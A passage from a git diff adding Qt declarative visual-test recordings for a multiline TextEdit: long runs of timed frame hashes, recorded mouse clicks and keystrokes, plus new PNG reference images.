+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3152
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3168
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3184
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3200
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3216
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3232
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3248
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3264
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3280
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3296
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3312
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3328
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3344
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3360
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3376
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3392
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3408
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3424
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3440
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3456
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3472
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3488
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3504
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3520
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3536
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3552
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3568
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3584
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3600
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3616
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3632
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3648
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3664
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3680
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3696
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3712
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 3728
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 3744
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 3760
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 3776
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 3792
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3808
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 3824
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 3840
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 3856
+ image: "qt-669.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 3888
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 3904
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 3920
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 3936
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 3952
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 3968
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 3984
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4000
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4016
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4032
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4048
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4064
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4080
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4096
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4112
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4128
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4144
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4160
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4176
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4192
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4208
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4224
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4240
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4256
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4272
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4288
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 4304
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.0.png
new file mode 100644
index 00000000..a1c3c390
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.1.png
new file mode 100644
index 00000000..bfc91f51
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.10.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.10.png
new file mode 100644
index 00000000..56f6ecea
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.10.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.11.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.11.png
new file mode 100644
index 00000000..56f6ecea
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.11.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.12.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.12.png
new file mode 100644
index 00000000..56f6ecea
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.12.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.2.png
new file mode 100644
index 00000000..f1829fa1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.3.png
new file mode 100644
index 00000000..b7f41db0
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.4.png
new file mode 100644
index 00000000..9e58c3a5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.5.png
new file mode 100644
index 00000000..8dbcc417
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.6.png
new file mode 100644
index 00000000..302974b0
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.7.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.7.png
new file mode 100644
index 00000000..f8bc3b46
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.8.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.8.png
new file mode 100644
index 00000000..b435da67
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.9.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.9.png
new file mode 100644
index 00000000..e156cd5e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.9.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.qml
new file mode 100644
index 00000000..a03948cd
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/usingMultilineEdit.qml
@@ -0,0 +1,4687 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "usingMultilineEdit.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 48
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 64
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 80
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 96
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 112
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 128
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 144
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 160
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 176
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 192
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 208
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 224
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 240
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 256
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 272
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 288
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 304
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 320
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 118; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 336
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 352
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 368
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 384
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 400
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 118; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 416
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 432
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 448
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 464
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 480
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 496
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 512
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 528
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 544
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 560
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 576
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 592
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 608
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 624
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Frame {
+ msec: 640
+ hash: "b59ca5ccc1bd1d1192cc109d66a31d0b"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 117; y: 102
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 656
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 672
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 117; y: 102
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 688
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 704
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 720
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 736
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 752
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 768
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 784
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 800
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 816
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 832
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 848
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 864
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 880
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 896
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 912
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 928
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 944
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 960
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 976
+ image: "usingMultilineEdit.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 1008
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 1024
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 1040
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 1056
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 1072
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 1088
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 1104
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 1120
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 1136
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 1152
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 1168
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 1184
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 1200
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 1216
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 1232
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 1248
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 1264
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 1280
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Frame {
+ msec: 1296
+ hash: "2414ab7436ed58a29eaf3ef15b5ced79"
+ }
+ Key {
+ type: 6
+ key: 44
+ modifiers: 0
+ text: "2c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1312
+ hash: "91757521cdb0617645a2a6cb831f51f3"
+ }
+ Frame {
+ msec: 1328
+ hash: "91757521cdb0617645a2a6cb831f51f3"
+ }
+ Frame {
+ msec: 1344
+ hash: "91757521cdb0617645a2a6cb831f51f3"
+ }
+ Frame {
+ msec: 1360
+ hash: "91757521cdb0617645a2a6cb831f51f3"
+ }
+ Frame {
+ msec: 1376
+ hash: "91757521cdb0617645a2a6cb831f51f3"
+ }
+ Key {
+ type: 7
+ key: 44
+ modifiers: 0
+ text: "2c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1392
+ hash: "91757521cdb0617645a2a6cb831f51f3"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1408
+ hash: "a7e2d2f2668dcb902d3ab0e413d9b639"
+ }
+ Frame {
+ msec: 1424
+ hash: "a7e2d2f2668dcb902d3ab0e413d9b639"
+ }
+ Frame {
+ msec: 1440
+ hash: "a7e2d2f2668dcb902d3ab0e413d9b639"
+ }
+ Frame {
+ msec: 1456
+ hash: "a7e2d2f2668dcb902d3ab0e413d9b639"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1472
+ hash: "a7e2d2f2668dcb902d3ab0e413d9b639"
+ }
+ Frame {
+ msec: 1488
+ hash: "a7e2d2f2668dcb902d3ab0e413d9b639"
+ }
+ Frame {
+ msec: 1504
+ hash: "a7e2d2f2668dcb902d3ab0e413d9b639"
+ }
+ Frame {
+ msec: 1520
+ hash: "a7e2d2f2668dcb902d3ab0e413d9b639"
+ }
+ Frame {
+ msec: 1536
+ hash: "a7e2d2f2668dcb902d3ab0e413d9b639"
+ }
+ Frame {
+ msec: 1552
+ hash: "a7e2d2f2668dcb902d3ab0e413d9b639"
+ }
+ Key {
+ type: 6
+ key: 68
+ modifiers: 0
+ text: "64"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1568
+ hash: "1602f7c814daec9612795d1e109b8f14"
+ }
+ Frame {
+ msec: 1584
+ hash: "1602f7c814daec9612795d1e109b8f14"
+ }
+ Frame {
+ msec: 1600
+ hash: "1602f7c814daec9612795d1e109b8f14"
+ }
+ Key {
+ type: 7
+ key: 68
+ modifiers: 0
+ text: "64"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1616
+ hash: "1602f7c814daec9612795d1e109b8f14"
+ }
+ Key {
+ type: 6
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1632
+ hash: "84e1e7c90b2134d037146d8a7cd4c413"
+ }
+ Frame {
+ msec: 1648
+ hash: "84e1e7c90b2134d037146d8a7cd4c413"
+ }
+ Frame {
+ msec: 1664
+ hash: "84e1e7c90b2134d037146d8a7cd4c413"
+ }
+ Frame {
+ msec: 1680
+ hash: "84e1e7c90b2134d037146d8a7cd4c413"
+ }
+ Frame {
+ msec: 1696
+ hash: "84e1e7c90b2134d037146d8a7cd4c413"
+ }
+ Key {
+ type: 7
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1712
+ hash: "84e1e7c90b2134d037146d8a7cd4c413"
+ }
+ Frame {
+ msec: 1728
+ hash: "84e1e7c90b2134d037146d8a7cd4c413"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1744
+ hash: "87109c5f296e5b56aaecc09a2decae4d"
+ }
+ Frame {
+ msec: 1760
+ hash: "87109c5f296e5b56aaecc09a2decae4d"
+ }
+ Frame {
+ msec: 1776
+ hash: "87109c5f296e5b56aaecc09a2decae4d"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1792
+ hash: "87109c5f296e5b56aaecc09a2decae4d"
+ }
+ Frame {
+ msec: 1808
+ hash: "87109c5f296e5b56aaecc09a2decae4d"
+ }
+ Frame {
+ msec: 1824
+ hash: "87109c5f296e5b56aaecc09a2decae4d"
+ }
+ Key {
+ type: 6
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1840
+ hash: "29f766ca17ac45522ca2079cce9a1015"
+ }
+ Frame {
+ msec: 1856
+ hash: "29f766ca17ac45522ca2079cce9a1015"
+ }
+ Frame {
+ msec: 1872
+ hash: "29f766ca17ac45522ca2079cce9a1015"
+ }
+ Frame {
+ msec: 1888
+ hash: "29f766ca17ac45522ca2079cce9a1015"
+ }
+ Frame {
+ msec: 1904
+ hash: "29f766ca17ac45522ca2079cce9a1015"
+ }
+ Key {
+ type: 7
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1920
+ hash: "be6de699f29278ee3a39c3d8ed90f808"
+ }
+ Frame {
+ msec: 1936
+ image: "usingMultilineEdit.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "be6de699f29278ee3a39c3d8ed90f808"
+ }
+ Frame {
+ msec: 1968
+ hash: "be6de699f29278ee3a39c3d8ed90f808"
+ }
+ Key {
+ type: 6
+ key: 85
+ modifiers: 0
+ text: "75"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1984
+ hash: "ef413406c3e7aa03ced4e06661dfafcc"
+ }
+ Frame {
+ msec: 2000
+ hash: "ef413406c3e7aa03ced4e06661dfafcc"
+ }
+ Key {
+ type: 7
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2016
+ hash: "ef413406c3e7aa03ced4e06661dfafcc"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2032
+ hash: "d29b729a45533ef77af530ab2f125bd1"
+ }
+ Frame {
+ msec: 2048
+ hash: "d29b729a45533ef77af530ab2f125bd1"
+ }
+ Key {
+ type: 7
+ key: 85
+ modifiers: 0
+ text: "75"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2064
+ hash: "d29b729a45533ef77af530ab2f125bd1"
+ }
+ Frame {
+ msec: 2080
+ hash: "d29b729a45533ef77af530ab2f125bd1"
+ }
+ Frame {
+ msec: 2096
+ hash: "d29b729a45533ef77af530ab2f125bd1"
+ }
+ Frame {
+ msec: 2112
+ hash: "d29b729a45533ef77af530ab2f125bd1"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2128
+ hash: "d29b729a45533ef77af530ab2f125bd1"
+ }
+ Frame {
+ msec: 2144
+ hash: "d29b729a45533ef77af530ab2f125bd1"
+ }
+ Key {
+ type: 6
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2160
+ hash: "3b2069cbaa6640664dbe1b80f3cf0670"
+ }
+ Frame {
+ msec: 2176
+ hash: "3b2069cbaa6640664dbe1b80f3cf0670"
+ }
+ Frame {
+ msec: 2192
+ hash: "3b2069cbaa6640664dbe1b80f3cf0670"
+ }
+ Frame {
+ msec: 2208
+ hash: "3b2069cbaa6640664dbe1b80f3cf0670"
+ }
+ Frame {
+ msec: 2224
+ hash: "3b2069cbaa6640664dbe1b80f3cf0670"
+ }
+ Frame {
+ msec: 2240
+ hash: "3b2069cbaa6640664dbe1b80f3cf0670"
+ }
+ Key {
+ type: 7
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2256
